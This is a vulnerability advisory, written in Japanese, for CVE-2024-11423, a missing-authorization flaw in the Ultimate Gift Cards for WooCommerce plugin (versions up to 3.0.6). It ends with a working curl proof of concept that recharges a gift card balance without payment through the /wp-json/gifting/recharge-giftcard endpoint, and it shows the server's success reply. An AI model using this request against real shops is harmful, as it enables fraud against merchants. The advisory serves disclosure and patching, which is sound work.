CVE-2024-11423

Ultimate Gift Cards for WooCommerce <= 3.0.6 - 認可の欠如による無限マネーグリッチ

説明

Ultimate Gift Cards for WooCommerce（WooCommerceギフトカード、ギフトバウチャーの作成、デジタルギフトクーポンの交換・管理が可能。ギフト証明書の提供、ギフトカードのスケジュール設定、パーソナライズされたテンプレートによるアドバンスクーポンの利用も可能）WordPressプラグインは、3.0.6までのすべてのバージョンにおいて、/wp-json/gifting/recharge-giftcard などの複数のREST APIエンドポイントで権限チェックが欠如しているため、データの不正な変更に対して脆弱です。これにより、認証されていない攻撃者が、支払いを行うことなくギフトカード残高をチャージしたり、何も購入せずにギフトカード残高を減らしたりすることが可能になります。

詳細

• タイプ: plugin
• スラッグ: woo-gift-cards-lite
• 影響を受けるバージョン: 3.0.6
• CVSSスコア: 7.5
• CVSS評価: 高
• CVSSベクトル: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
• CVE: CVE-2024-11423
• ステータス: アクティブ

POC

curl -X POST \
  https://wp-dev.ddev.site/wp-json/gifting/recharge-giftcard \
  -H 'Content-Type: application/json' \
  -d '{"coupon_code": "CUQP4C9M", "recharge_amount": "100.00", "coupon_expiry": "2027-12-31", "usage_limit": "511"}'


{"code":"success","message":"Coupon is successfully Recharged","data":{"status":200,"remaining_amount":120,"discount_type":"fixed_cart","usage_count":0,"usage_limit":"511","description":"","coupon_expiry":"2027-12-31"}}